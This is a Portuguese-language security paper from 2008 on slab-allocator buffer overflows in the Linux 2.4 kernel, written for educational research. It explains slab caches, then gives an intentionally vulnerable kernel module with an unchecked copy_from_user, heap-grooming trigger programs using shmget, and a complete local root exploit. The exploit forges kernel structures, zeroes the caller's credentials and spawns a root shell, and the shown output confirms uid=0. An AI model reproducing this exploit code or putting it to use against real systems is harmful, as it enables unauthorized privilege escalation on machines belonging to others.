# Linux Slab Allocator Buffer Overflow Vulnerabilities

Ramon de Carvalho Valle
ramon@risesecurity.org
rcvalle@br.ibm.com

Portuguese (Brazil)
November 2008

# Sumário

# 1 Introdução

Este artigo discute vulnerabilidades *buffer overflow* no *Slab Allocator* do kernel do Linux. Todos os exemplos mostrados neste artigo foram desenvolvidos e executados em uma máquina com processador baseado em *x86* executando *Slackware Linux 10.2*. Conhecimento prévio de *buffer overflows* é requerido.

# 2 Slab Allocator

## 2.1 Introdução

O *Slab Allocator* foi primeiramente introduzido por Jeff Bonwick para o sistema operacional SunOS 5.4. No Linux, o *Slab Allocator* foi introduzido a partir do kernel 2.2.

A alocação e liberação de objetos está entre as mais comuns operações no kernel. Um rápido alocador de memória para o kernel é, então, essencial. No entanto, em muitos casos, o custo de inicialização e destruição de um objeto excede o custo de alocação e liberação de memória para ele. Assim, ganhos significativos podem ser alcançados pelo *cache* de objetos frequentemente utilizados, a fim de que seja preservada a sua estrutura básica entre utilizações.

O *Slab Allocator* utiliza a técnica de *object caching* para lidar com objetos que são frequentemente alocados e liberados. A idéia é de preservar a porção invariante do estado inicial de um objeto - seu estado construído - entre usos, de forma que ele não tenha que ser destruído e inicializado a cada vez que o objeto é usado.

A concepção de um *cache* de objetos é simples. **Para alocar um objeto:** se existe um objeto no *cache*, ele é utilizado (a inicialização não é requerida), senão, memória é alocada para o objeto, e o objeto é inicializado. **Para liberar um objeto:** ele é apenas devolvido ao *cache*. **Para recuperar memória do *cache*:** objetos são retirados do *cache*, destruídos, e a memória é liberada.

O estado de construído de um objeto deve ser inicializado apenas uma vez - quando o objeto é colocado no *cache*. Uma vez que o *cache* é populado, a alocação e liberação de objetos são operações rápidas e triviais.

## 2.2 Caches

A memória é organizada em *caches*, um *cache* para cada tipo de objeto. Cada *cache* consiste de muitos *slabs* (são pequenos, normalmente do tamanho de uma página, e sempre contínuos), e cada *slab* contém múltiplos objetos inicializados.

Cada *cache* mantém suas próprias estatísticas - total de alocações, número de *buffers* alocados e livres, etc. Estas estatísticas por *cache* fornecem uma visão geral sobre o comportamento do sistema.

A estrutura `struct kmem_cache_s`, mostrada na listagem seguinte, gerencia um *cache* de objetos.

Listagem 1: A estrutura `struct kmem_cache_s` (linux-2.4.31/mm/slab.c).

```
struct kmem_cache_s {
/* 1) each alloc & free */
```

```
        /* full, partial first, then free */
        struct list_head        slabs_full;
        struct list_head        slabs_partial;
        struct list_head        slabs_free;
        unsigned int            objsize;
        unsigned int            flags;  /* constant flags */
        unsigned int            num;    /* # of objs per slab */
        spinlock_t              spinlock;
#ifdef CONFIG_SMP
        unsigned int            batchcount;
#endif

/* 2) slab additions /removals */
        /* order of pgs per slab (2^n) */
        unsigned int            gfporder;

        /* force GFP flags, e.g. GFP_DMA */
        unsigned int            gfpflags;

        size_t                  colour;         /* cache colouring range */
        unsigned int            colour_off;     /* colour offset */
        unsigned int            colour_next;    /* cache colouring */
        kmem_cache_t            *slabp_cache;
        unsigned int            growing;
        unsigned int            dflags;         /* dynamic flags */

        /* constructor func */
        void (*ctor)(void *, kmem_cache_t *, unsigned long);

        /* de-constructor func */
        void (*dtor)(void *, kmem_cache_t *, unsigned long);

        unsigned long           failures;

/* 3) cache creation/removal */
        char                    name[CACHE_NAMELEN];
        struct list_head        next;
#ifdef CONFIG_SMP
/* 4) per-cpu data */
        cpucache_t              *cpudata[NR_CPUS];
#endif
#if STATS
        unsigned long           num_active;
        unsigned long           num_allocations;
        unsigned long           high_mark;
        unsigned long           grown;
        unsigned long           reaped;
        unsigned long           errors;
#ifdef CONFIG_SMP
        atomic_t                allochit;
        atomic_t                allocmiss;
        atomic_t                freehit;
        atomic_t                freemiss;
#endif
```

```
#endif
};
```

Além dos *caches* especiais, o kernel também cria *caches* de propósito geral (`ex.:size-64`) adequados para *Direct memory access* (DMA) e acesso à memória em geral.

Em sistemas SMP cada *cache* tem um *array* por *Central Processing Unit* (CPU), a maioria das alocações e liberações vão nesse *array*, e se esse *array* for totalmente utilizado, então metade dos objetos nesse *array* são devolvidos ao *cache* global. Isto reduz o número de operações *spinlock*[1].

## 2.3 Slabs

O *slab* é a principal unidade de medida no *Slab Allocator*. Quando o alocador precisa aumentar um *cache*, por exemplo, ele adquire um *slab* inteiro de objetos de uma vez. Do mesmo modo, o alocador libera memória não utilizada (diminui um *cache*), devolvendo um *slab* completo.

Um *slab* consiste de uma ou mais páginas de memória virtual contínua dividas em blocos de tamanhos iguais, com uma contagem de referência indicando quantos desses blocos foram alocados.

A fim de reduzir a fragmentação, os slabs são classificados em três grupos:

**slabs_full** *slabs* totalmente utilizados.

**slabs_partial** *slabs* parcialmente utilizados.

**slabs_free** *slabs* totalmente livres.

Se *slabs* parcialmente utilizados existirem, então novas alocações vêm desses *slabs*, caso contrário de *slabs* totalmente livres ou novos *slabs* são alocados.

A estrutura `struct slab_s`, mostrada na listagem seguinte, gerencia os objetos em um *slab*. Colocada no início da memória alocada para um *slab*, ou em memória alocada para um *cache* de propósito geral.

Listagem 2: A estrutura `struct slab_s` (linux-2.4.31/mm/slab.c).

```
typedef struct slab_s {
        struct list_head        list;
        unsigned long           colouroff;
        void                    *s_mem;         /* including colour offset */
        unsigned int            inuse;          /* num of objs active in slab
             */
        kmem_bufctl_t           free;
```

[1]Um *spinlock* é um bloqueio onde um *thread* simplesmente aguarda em um *loop* (gira) verificando repetidamente até que o bloqueio se torne disponível.

```
} slab_t;
```

A estrutura `kmem_bufctl_t bufctl`, mostrada na listagem seguinte, é utilizada para ligar objetos em um *slab*. No Linux, esta implementação baseia-se na estrutura `struct page` para localizar o *cache* e o *slab* ao qual um objeto pertence. Isso permite que a estrutura `bufctl` seja pequena (um inteiro), mas limita o número de objetos um *slab* (não um *cache*) pode conter quando `bufctls` fora do *slab* são utilizados.

Listagem 3: A estrutura `kmem_bufctl_t bufctl` (linux-2.4.31/mm/slab.c).

```
typedef unsigned int kmem_bufctl_t;
```

## 2.4 Disposição de um slab para objetos pequenos

Para objetos menores que 1/8 de uma página, um *slab* é construído pela alocação de uma página, colocando os dados do *slab* (`struct slab_s`) no início, e dividindo o resto em *buffers* de tamanhos iguais.

Cada *buffer* serve como sua própria `bufctl` enquanto na lista. Apenas a ligação é realmente necessária, uma vez que todo o resto é computável. Estas são as otimizações essenciais para *buffers* pequenos - de outra meneira poderia resultar na alocação de quase tanta memória para `bufctls` quanto para os próprios *buffers*.

## 2.5 Disposição de um slab para objetos grandes

O esquema anterior é eficiente para objetos pequenos, mas não para grandes. Poderia caber apenas um *buffer* de 2K em uma página de 4K por causa dos dados do *slab* (`struct slab_s`) embutidos na página. Além disso, com grandes *slabs* (mais de uma página) perdemos a capacidade de determinar o endereço dos dados do *slab* a partir do endereço do *buffer*. Portanto, para grandes objetos a disposição física é idêntica à disposição lógica.

## 2.6 O arquivo /proc/slabinfo

O arquivo */proc/slabinfo* fornece estatísticas sobre os *caches* do sistema.

Listagem 4: O arquivo */proc/slabinfo*.

```
vmware@localhost:~$ cat /proc/slabinfo
slabinfo - version: 1.1
kmem_cache            63     72    108    2    2    1
ip_fib_hash           10    203     16    1    1    1
```

| | | | | | | |
|---|---|---|---|---|---|---|
| ip_mrt_cache | 0 | 0 | 80 | 0 | 0 | 1 |
| tcp_tw_bucket | 0 | 0 | 128 | 0 | 0 | 1 |
| tcp_bind_bucket | 5 | 203 | 16 | 1 | 1 | 1 |
| tcp_open_request | 0 | 40 | 96 | 0 | 1 | 1 |
| inet_peer_cache | 0 | 0 | 48 | 0 | 0 | 1 |
| ip_dst_cache | 11 | 22 | 176 | 1 | 1 | 1 |
| arp_cache | 3 | 40 | 96 | 1 | 1 | 1 |
| blkdev_requests | 3072 | 4120 | 96 | 77 | 103 | 1 |
| nfs_write_data | 0 | 0 | 352 | 0 | 0 | 1 |
| nfs_read_data | 0 | 0 | 336 | 0 | 0 | 1 |
| nfs_page | 0 | 0 | 96 | 0 | 0 | 1 |
| journal_head | 0 | 0 | 48 | 0 | 0 | 1 |
| revoke_table | 0 | 0 | 12 | 0 | 0 | 1 |
| revoke_record | 0 | 0 | 16 | 0 | 0 | 1 |
| dnotify_cache | 0 | 0 | 20 | 0 | 0 | 1 |
| file_lock_cache | 3 | 42 | 92 | 1 | 1 | 1 |
| fasync_cache | 0 | 0 | 16 | 0 | 0 | 1 |
| uid_cache | 4 | 113 | 32 | 1 | 1 | 1 |
| skbuff_head_cache | 158 | 176 | 176 | 8 | 8 | 1 |
| sock | 24 | 33 | 1328 | 8 | 11 | 1 |
| sigqueue | 0 | 29 | 132 | 0 | 1 | 1 |
| kiobuf | 0 | 0 | 64 | 0 | 0 | 1 |
| cdev_cache | 15 | 78 | 48 | 1 | 1 | 1 |
| bdev_cache | 3 | 59 | 64 | 1 | 1 | 1 |
| mnt_cache | 12 | 59 | 64 | 1 | 1 | 1 |
| inode_cache | 3588 | 3600 | 464 | 449 | 450 | 1 |
| dentry_cache | 3754 | 3780 | 112 | 108 | 108 | 1 |
| dquot | 0 | 0 | 112 | 0 | 0 | 1 |
| filp | 251 | 280 | 112 | 8 | 8 | 1 |
| names_cache | 0 | 2 | 4096 | 0 | 2 | 1 |
| buffer_head | 15080 | 34480 | 96 | 377 | 862 | 1 |
| mm_struct | 22 | 27 | 144 | 1 | 1 | 1 |
| vm_area_struct | 443 | 576 | 80 | 10 | 12 | 1 |
| fs_cache | 21 | 113 | 32 | 1 | 1 | 1 |
| files_cache | 22 | 27 | 416 | 3 | 3 | 1 |
| signal_act | 26 | 30 | 1296 | 9 | 10 | 1 |
| size-131072(DMA) | 0 | 0 | 131072 | 0 | 0 | 32 |
| size-131072 | 0 | 0 | 131072 | 0 | 0 | 32 |
| size-65536(DMA) | 0 | 0 | 65536 | 0 | 0 | 16 |
| size-65536 | 0 | 0 | 65536 | 0 | 0 | 16 |
| size-32768(DMA) | 0 | 0 | 32768 | 0 | 0 | 8 |
| size-32768 | 1 | 1 | 32768 | 1 | 1 | 8 |
| size-16384(DMA) | 1 | 1 | 16384 | 1 | 1 | 4 |
| size-16384 | 6 | 6 | 16384 | 6 | 6 | 4 |
| size-8192(DMA) | 0 | 0 | 8192 | 0 | 0 | 2 |
| size-8192 | 14 | 15 | 8192 | 14 | 15 | 2 |
| size-4096(DMA) | 0 | 0 | 4096 | 0 | 0 | 1 |
| size-4096 | 43 | 44 | 4096 | 43 | 44 | 1 |
| size-2048(DMA) | 0 | 0 | 2048 | 0 | 0 | 1 |
| size-2048 | 86 | 90 | 2048 | 45 | 45 | 1 |
| size-1024(DMA) | 0 | 0 | 1024 | 0 | 0 | 1 |
| size-1024 | 23 | 32 | 1024 | 6 | 8 | 1 |
| size-512(DMA) | 0 | 0 | 512 | 0 | 0 | 1 |
| size-512 | 102 | 104 | 512 | 13 | 13 | 1 |

```
size-256(DMA)          0      0    256    0    0    1
size-256              71     75    256    5    5    1
size-128(DMA)          0      0    128    0    0    1
size-128             522    540    128   18   18    1
size-64(DMA)           0      0     64    0    0    1
size-64              103    118     64    2    2    1
size-32(DMA)           0      0     32    0    0    1
size-32             1611   1695     32   15   15    1
vmware@localhost:~$
```

Para cada *cache*, o nome do *cache*, o número de objetos atualmente ativos, o número total de objetos livres, o tamanho de cada objeto em bytes, o número de páginas com pelo menos um objeto ativo, o número total de páginas alocadas, e o número de páginas por *slab* são fornecidos.

# 3 Slab Overflows

## 3.1 Introdução

Um *slab overflow* ocorre quando dados são escritos além dos limítes de um objeto em um *slab*.

A abordagem mais confiável para explorar um *slab overflow* é de explorar a característica *Last In First Out* (LIFO) de um *cache*. Isto é feito alocando todos os objetos livres do mesmo *cache* utilizado pelo código vulnerável, para que nas alocações seguintes um novo *slab* seja adquirido. Assim, não existe mais nenhum objeto aleatório no *array* de ponteiros para objetos livres (por CPU) do *cache*.

Em seguida, dois objetos são alocados, o primeiro liberado, e o código vulnerável executado. Isto faz com que um novo objeto seja solicitado, devido a característica LIFO do *cache*, o novo objeto alocado é o primeiro objeto alocado e liberado anteriormente. Assim, o código vulnerável faz com que o segundo objeto seja sobreescrito. Se um ponteiro neste segundo objeto é armazenado e depois utilizado, ele estará sob controle.

## 3.2 Exemplo de código vulnerável

A listagem seguinte mostra um exemplo de código vulnerável que foi implementado como um módulo do kernel. O módulo substitui o valor do índice 253 da tabela de *system calls* `sys_call_table` pelo endereço da função `new_call` do módulo.

A nova *system call* recebe três argumentos, um ponteiro para os dados a serem copiados, o tamanho dos dados a serem copiados e uma *flag* que indica se o objeto alocado pela *system call* deve ser liberado ao término de sua execução.

Listagem 5: Exemplo de código vulnerável.

```
#define __KERNEL__
#define MODULE

#include <linux/modversions.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <asm/uaccess.h>

MODULE_LICENSE("GPL");

#define __NR_new_call 253

extern void *sys_call_table[];
void (*old_call)();

int
```

```
new_call(const void *addr, int size, int free)
{
        char *buf;

        buf = kmalloc(64, GFP_KERNEL);

        printk(KERN_INFO "new_call: allocated object at %p\n", buf);

        copy_from_user(buf, addr, size);

        if (free) {
                kfree(buf);

                printk(KERN_INFO "new_call: freed object at %p\n", buf);
        }

        return 0;
}

int
init_module(void)
{
        printk(KERN_INFO "new_call: module new_call loaded\n");
        old_call = sys_call_table[__NR_new_call];
        sys_call_table[__NR_new_call] = new_call;
        return 0;
}

void
cleanup_module(void)
{
        printk(KERN_INFO "new_call: new_call removed\n");
        sys_call_table[__NR_new_call] = old_call;
}
```

Listagem 6: Compilação e execução da listagem 5.

```
root@localhost:~# gcc -c -Wall -I /usr/src/linux/include/ new_call.c
root@localhost:~# insmod new_call.o
root@localhost:~# dmesg | grep new_call
new_call: module new_call loaded
root@localhost:~#
```

Este módulo é específico para o kernel 2.4 porque em versões mais recentes a tabela de *system calls* `sys_call_table` não é mais um símbolo exportado. Portanto, algumas modificações são necessárias para que funcione no kernel 2.6.

### 3.3 Controlando a alocação de objetos no cache

A listagem anterior mostra o primeiro código exemplo utilizado para executar o código vulnerável. Esse código é utilizado para alocar e liberar objetos utilizando o código vulnerável e mostrar o comportamento do *cache*.

Listagem 7: Exemplo de código para executar o código vulnerável.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

#define __NR_new_call 253

int
main(int argc, char **argv)
{
        char buf[1024];
        int free;

        if (argc < 2) {
                printf("usage: %s <free>\n", argv[0]);
                exit(EXIT_FAILURE);
        }

        memset(buf, 0x41, sizeof(buf));

        free = atoi(argv[1]);

        syscall(__NR_new_call, buf, 32, free);

        exit(EXIT_SUCCESS);
}
```

Listagem 8: Compilação e execução da listagem 7.

```
vmware@localhost:~$ gcc -Wall -o trigger1 trigger1.c
vmware@localhost:~$ for i in $(seq 1 4); do ./trigger1 1; done
vmware@localhost:~$ dmesg | grep new_call | tail -n 8
new_call: allocated object at ce18cbe0
new_call: freed object at ce18cbe0
new_call: allocated object at ce18cbe0
new_call: freed object at ce18cbe0
new_call: allocated object at ce18cbe0
new_call: freed object at ce18cbe0
new_call: allocated object at ce18cbe0
new_call: freed object at ce18cbe0
vmware@localhost:~$
```

Como mostra a listagem anterior, o mesmo objeto (`ce18cbe0`) é alocado e liberado repetidamente cada vez que o código vulnerável é executado, o que mostra a característica LIFO do *cache*.

Listagem 9: Compilação e execução da listagem 7.

```
vmware@localhost:~$ for i in $(seq 1 4); do ./trigger1 0; done
vmware@localhost:~$ dmesg | grep new_call | tail -n 4
new_call: allocated object at ce18cc20
new_call: allocated object at ce18cbe0
new_call: allocated object at ce18cc60
new_call: allocated object at ce18cca0
vmware@localhost:~$
```

Como mostra a listagem anterior, quatro objetos são alocados e não são liberados em seguida (o parâmetro `free` é zero). Foram obtidos dois objetos sequenciais (`ce18cc60` e `ce18cca0`), que serviriam ao propósito da exploração. Mas essa abordagem ainda não é confiável, porque esses objetos foram alocados de acordo com a característica LIFO do *cache*, o que faz com que sejam aleatórios de acordo com a sequência de alocações e liberações ocorridas anteriormente.

Listagem 10: Compilação e execução da listagem 7.

```
vmware@localhost:~$ cat /proc/slabinfo
slabinfo - version: 1.1
...
size-64(DMA)           0      0     64    0    0    1
size-64              107    118     64    2    2    1
...
vmware@localhost:~$ for i in $(seq 108 122); do ./trigger1 0; done
vmware@localhost:~$ dmesg | grep new_call | tail -n 15
new_call: allocated object at ce18cd20
new_call: allocated object at ce18cce0
new_call: allocated object at ce18cd60
new_call: allocated object at ce18cda0
new_call: allocated object at ce18cde0
new_call: allocated object at ce18ce20
new_call: allocated object at ce18ce60
new_call: allocated object at ce18cea0
new_call: allocated object at ce18cee0
new_call: allocated object at ce18cf20
new_call: allocated object at ce18cf60
new_call: allocated object at ce18cfa0
new_call: allocated object at cb5f6130
new_call: allocated object at cb5f6170
new_call: allocated object at cb5f61b0
```

```
vmware@localhost:~$ cat /proc/slabinfo
slabinfo - version: 1.1
...
size-64(DMA)           0      0     64    0    0    1
size-64              122    177     64    3    3    1
...
vmware@localhost:~$
```

Como mostra a listagem anterior, todos os objetos livres no *cache* utilizado pelo código vulneravél (`size-64`) são alocados. Antes de um novo *slab* ser adquirido, caracterizado pela mudança de endereço (`ce18cfa0` e `cb5f6130`), existem vários objetos contínuos no fim do *cache*. Isto porque já não existem mais objetos aleatórios no *array* LIFO do *cache*.

### 3.4 A estrutura struct shmid_kernel

Em um cenário real de exploração de um *slab overflow*, na maioria das vezes, o código vulnerável aloca um ou mais objetos no *cache* e libera esses objetos ao término de sua execução. Portanto, não existe a possibilidade de utilizar o próprio código vulnerável para utilizar todos os objetos livres no *cache*. É necessário uma estrutura que seja alocada no mesmo *cache* utilizado pelo código vulnerável e que tenha algum ponteiro ou valor sensitivo, que ao ser manipulado, permita o redirecionamento do fluxo de execução. Uma solução é utilizar as funções de memória compartilhada de *Interprocess Communication* (IPC) do kernel.

Listagem 11: A estrutura `struct shmid_kernel` (linux-2.4.31/ipc/shm.c).

```
struct shmid_kernel /* private to the kernel */
{
        struct kern_ipc_perm    shm_perm;
        struct file *           shm_file;
        int                     id;
        unsigned long           shm_nattch;
        unsigned long           shm_segsz;
        time_t                  shm_atim;
        time_t                  shm_dtim;
        time_t                  shm_ctim;
        pid_t                   shm_cprid;
        pid_t                   shm_lprid;
};
```

A estrutura `struct shmid_kernel`, mostrada na listagem anterior, tem 64 bytes de tamanho e é alocada no cache de propósito geral `size-64`.

### 3.5 A função shmget

A função `shmget` aloca um segmento de memória compartilhada. Podem ser alocadas tantas estruturas quantas necessárias para armazenar a estrutura `struct shmid_kernel` e preencher o *cache*, utilizando sucessivas chamadas à função `shmget`.

Listagem 12: A função `shmget` (linux-2.4.31/ipc/shm.c).

```
static int newseg (key_t key, int shmflg, size_t size)
{
        int error;
        struct shmid_kernel *shp;
        int numpages = (size + PAGE_SIZE -1) >> PAGE_SHIFT;
        struct file * file;
        char name[13];
        int id;

        if (size < SHMMIN || size > shm_ctlmax)
                return -EINVAL;

        if (shm_tot + numpages >= shm_ctlall)
                return -ENOSPC;

        shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER);
        if (!shp)
                return -ENOMEM;
        sprintf (name, "SYSV%08x", key);
        file = shmem_file_setup(name, size);
        error = PTR_ERR(file);
        if (IS_ERR(file))
                goto no_file;

        error = -ENOSPC;
        id = shm_addid(shp);
        if(id == -1)
                goto no_id;
        shp->shm_perm.key = key;
        shp->shm_flags = (shmflg & S_IRWXUGO);
        shp->shm_cprid = current->pid;
        shp->shm_lprid = 0;
        shp->shm_atim = shp->shm_dtim = 0;
        shp->shm_ctim = CURRENT_TIME;
        shp->shm_segsz = size;
        shp->shm_nattch = 0;
        shp->id = shm_buildid(id,shp->shm_perm.seq);
        shp->shm_file = file;
        file->f_dentry->d_inode->i_ino = shp->id;
        file->f_op = &shm_file_operations;
        shm_tot += numpages;
        shm_unlock (id);
        return shp->id;
```

```
no_id:
        fput(file);
no_file:
        kfree(shp);
        return error;
}

asmlinkage long sys_shmget (key_t key, size_t size, int shmflg)
{
        struct shmid_kernel *shp;
        int err, id = 0;

        down(&shm_ids.sem);
        if (key == IPC_PRIVATE) {
                err = newseg(key, shmflg, size);
        } else if ((id = ipc_findkey(&shm_ids, key)) == -1) {
                if (!(shmflg & IPC_CREAT))
                        err = -ENOENT;
                else
                        err = newseg(key, shmflg, size);
        } else if ((shmflg & IPC_CREAT) && (shmflg & IPC_EXCL)) {
                err = -EEXIST;
        } else {
                shp = shm_lock(id);
                if(shp==NULL)
                        BUG();
                if (shp->shm_segsz < size)
                        err = -EINVAL;
                else if (ipcperms(&shp->shm_perm, shmflg))
                        err = -EACCES;
                else
                        err = shm_buildid(id, shp->shm_perm.seq);
                shm_unlock(id);
        }
        up(&shm_ids.sem);
        return err;
}
```

O arquivo */proc/sysvipc/shm* fornece uma lista de segmentos de memória compartilhada alocados utilizando a função `shmget`.

### 3.6 Sobreescrevendo objetos em um slab

O arquivo */proc/slabinfo* é utilizado para calcular a quantidade de objetos livres no *cache* (`size-64`). Assim, todos os objetos livres, mais quatro objetos, são alocados utilizando a função `shmget`. Os quatro objetos são para garantir que no mínimo dois objetos sequenciais (os últimos alocados) sejam alocados de um novo *slab*. Desses dois objetos, o primeiro é liberado utilizando a função `shmctl` com o parâmetro `IPC_RMID` e o código vulnerável é

executado. Isto faz com que a estrutura `struct shmid_kernel` armazenada no segundo objeto seja sobreescrita durante a execucão do código vulnerável pela função `copy_from_user`.

Listagem 13: Exemplo de código para executar o código vulnerável.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <unistd.h>

#define __NR_new_call 253

#define NUMOBJ 4
#define FSTOBJ free_objs + 2
#define SNDOBJ free_objs + 3

int
cache_free_objs(char *cache_name)
{
        FILE *fp;
        char buf[1024], name[256];
        int active_objs, num_objs, retval;

        memset(name, 0, sizeof(name));

        if ((fp = fopen("/proc/slabinfo", "r")) == NULL) {
                perror("fopen");
                return -1;
        }

        while (!feof(fp)) {
                retval = 0;

                if (!fgets(buf, sizeof(buf), fp))
                        break;

                retval = sscanf(buf, "%s %u %u", name, &active_objs, &num_objs)
                     ;

                if (!strcmp(name, cache_name))
                        break;
        }

        fclose(fp);

        return (retval == 3) ? (num_objs - active_objs) : -1;
}
```

```
int
main(void)
{
        char buf[4096];
        int i, free_objs, *shmid, first_obj, second_obj;

        memset(buf, 0x41, sizeof(buf));

        if ((free_objs = cache_free_objs("size-64")) == -1)
                exit(EXIT_FAILURE);

        printf("free_objs = %d\n", free_objs);

        if ((shmid = malloc((free_objs + 4) * sizeof(int))) == NULL) {
                perror("malloc");
                exit(EXIT_FAILURE);
        }

        for (i = 0; i < (free_objs + NUMOBJ); i++)
                shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT);

        first_obj = shmid[FSTOBJ];
        second_obj = shmid[SNDOBJ];

        shmctl(first_obj, IPC_RMID, NULL);

        syscall(__NR_new_call, buf, 128, 1);

        exit(EXIT_SUCCESS);
}
```

Listagem 14: Compilação e execução da listagem 13.

```
vmware@localhost:~$ cat /proc/slabinfo
slabinfo - version: 1.1
...
size-64(DMA)           0      0     64    0    0    1
size-64              122    177     64    3    3    1
...
vmware@localhost:~$ cat /proc/sysvipc/shm
       key      shmid perms       size  cpid  lpid nattch   uid   gid  cuid
           cgid      atime      dtime      ctime
vmware@localhost:~$ gcc -Wall -o trigger2 trigger2.c
vmware@localhost:~$ ./trigger2
free_objs = 55
vmware@localhost:~$ cat /proc/sysvipc/shm
       key      shmid perms       size  cpid  lpid nattch   uid   gid  cuid
           cgid      atime      dtime      ctime
...
         0    1769526     0       4096   802     0      0  1000   100  1000
              100          0          0 1196388982
```

```
         0    1802295     0        4096   802     0       0  1000   100  1000
              100          0           0 1196388982
         0    1835064     0        4096   802     0       0  1000   100  1000
              100          0           0 1196388982
1094795585 -1600094150  40501 1094795585 1094795585 1094795585  1094795585
     1094795585 1094795585 1094795585 1094795585 1094795585 1094795585
     1094795585
vmware@localhost:~$ cat /proc/sysvipc/shm | wc -l
59
vmware@localhost:~$ cat /proc/slabinfo
slabinfo - version: 1.1
...
size-64(DMA)           0      0     64    0    0    1
size-64              180    236     64    4    4    1
...
vmware@localhost:~$
```

O arquivo */proc/sysvipc/shm* (algumas colunas foram removidas) mostra que a estrutura `struct shmid_kernel` do último segmento de memória compartilhada alocado foi sobreescrita com o valor `0x41`, os campos do tipo inteiro mostram o valor `1094795585` em decimal que é igual ao valor `0x41414141` em hexadecimal.

## 3.7 O exploit

A listagem seguinte mostra um *exploit* para o código vulnerável. O *exploit* cria uma estrutura `struct shmid_kernel` e todas as estruturas necessárias para resultar em uma dereferência de ponteiro para função.

Listagem 15: O *exploit*.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/syscall.h>
#include <unistd.h>

#define __NR_new_call 253

#define NUMOBJ 4
#define FSTOBJ free_objs + 2
#define SNDOBJ free_objs + 3

struct inode
{
        int size[48];
} inode;
```

```
struct dentry
{
        int d_count;
        int d_flags;
        void *d_inode;
        void *d_parent;
} dentry;

struct file_operations
{
        void *owner;
        void *llseek;
        void *read;
        void *write;
        void *readdir;
        void *poll;
        void *ioctl;
        void *mmap;
        void *open;
        void *flush;
        void *release;
        void *fsync;
        void *fasync;
        void *lock;
        void *readv;
        void *writev;
        void *sendpage;
        void *get_unmapped_area;
} op;

struct file
{
        void *prev, *next;
        void *f_dentry;
        void *f_vfsmnt;
        void *f_op;
} file;

#define IPCMNI 32768

struct kern_ipc_perm
{
        int key;
        int uid;
        int gid;
        int cuid;
        int cgid;
        int mode;
        int seq;
};

struct shmid_kernel
{
```

```
        struct kern_ipc_perm shm_perm;
        struct file *shm_file;
} shmid_kernel;


int
kernel_code()
{
        int i, c;
        int *v;
        int uid, gid;

        uid = getuid();
        gid = getgid();

        __asm__("movl   %%esp, %0" : : "m" (c));

        c &= 0xffffe000;
        v = (void *) c;


        for (i = 0; i < 4096 / sizeof(*v) - 1; i++) {
                if (v[i] == uid && v[i+1] == uid) {
                        i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
                }
                if (v[i] == gid) {
                        v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
                        return -1;
                }
        }

        return -1;
}

int
cache_free_objs(char *cache_name)
{
        FILE *fp;
        char buf[1024], name[256];
        int active_objs, num_objs, retval;

        memset(name, 0, sizeof(name));

        if ((fp = fopen("/proc/slabinfo", "r")) == NULL) {
                perror("fopen");
                return -1;
        }

        while (!feof(fp)) {
                retval = 0;

                if (!fgets(buf, sizeof(buf), fp))
                        break;
```

```
                retval = sscanf(buf, "%s %u %u", name, &active_objs, &num_objs)
                     ;

                if (!strcmp(name, cache_name))
                        break;
        }

        fclose(fp);

        return (retval == 3) ? (num_objs - active_objs) : -1;
}

int
main(void)
{
        char buf[4096];
        int i, free_objs, *shmid, first_obj, second_obj;

        for (i = 0; i < sizeof(inode.size); i++)
                inode.size[i] = 4096;

        dentry.d_count = 4096;
        dentry.d_flags = 4096;
        dentry.d_inode = &inode;
        dentry.d_parent = NULL;

        op.mmap = &kernel_code;
        op.get_unmapped_area = &kernel_code;

        file.prev = NULL;
        file.next = NULL;
        file.f_dentry = &dentry;
        file.f_vfsmnt = NULL;
        file.f_op = &op;

        shmid_kernel.shm_perm.key = IPC_PRIVATE;
        shmid_kernel.shm_perm.uid = getuid();
        shmid_kernel.shm_perm.gid = getgid();
        shmid_kernel.shm_perm.cuid = shmid_kernel.shm_perm.uid;
        shmid_kernel.shm_perm.cgid = shmid_kernel.shm_perm.gid;
        shmid_kernel.shm_perm.mode = -1;
        shmid_kernel.shm_file = &file;

        if ((free_objs = cache_free_objs("size-64")) == -1)
                exit(EXIT_FAILURE);

        printf("free_objs = %d\n", free_objs);

        if ((shmid = malloc((free_objs + 4) * sizeof(int))) == NULL) {
                perror("malloc");
                exit(EXIT_FAILURE);
        }

        for (i = 0; i < (free_objs + NUMOBJ); i++)
```

```
                shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT);

        first_obj = shmid[FSTOBJ];
        second_obj = shmid[SNDOBJ];

        shmid_kernel.shm_perm.seq = second_obj/IPCMNI;

        memset(buf, 0, sizeof(buf));
        memcpy(&buf[64], &shmid_kernel, sizeof(shmid_kernel));

        shmctl(first_obj, IPC_RMID, NULL);

        syscall(__NR_new_call, buf, 64 + sizeof(shmid_kernel), 1);

        if ((int)shmat(second_obj, NULL, SHM_RDONLY) == -1) {
                setreuid(0, 0);
                setregid(0, 0);

                execl("/bin/sh", "/bin/sh", NULL);

                exit(EXIT_SUCCESS);
        }

        printf("exploit failed\n");

        exit(EXIT_SUCCESS);
}
```

Listagem 16: Compilação e execução da listagem 15.

```
vmware@localhost:~$ gcc -Wall -o exploit exploit.c
vmware@localhost:~$ id
uid=1000(vmware) gid=100(users) groups=100(users)
vmware@localhost:~$ ./exploit
free_objs = 56
root@localhost:~# id
uid=0(root) gid=0(root) groups=100(users)
root@localhost:~#
```

# 4 Referências


- The Slab Allocator: An Object-Caching Kernel Memory Allocator
  http://www.usenix.org/publications/library/proceedings/
  bos94/full_papers/bonwick.ps

- Anatomy of the Linux slab allocator
  http://www.ibm.com/developerworks/linux/library/
  l-linux-slab-allocator/

- The story of exploiting kmalloc() overflows
  http://home.bn-paf.de/sebastian.haase/kmalloc_exploitation.pdf

- The Linux Kernel Archives
  http://www.kernel.org/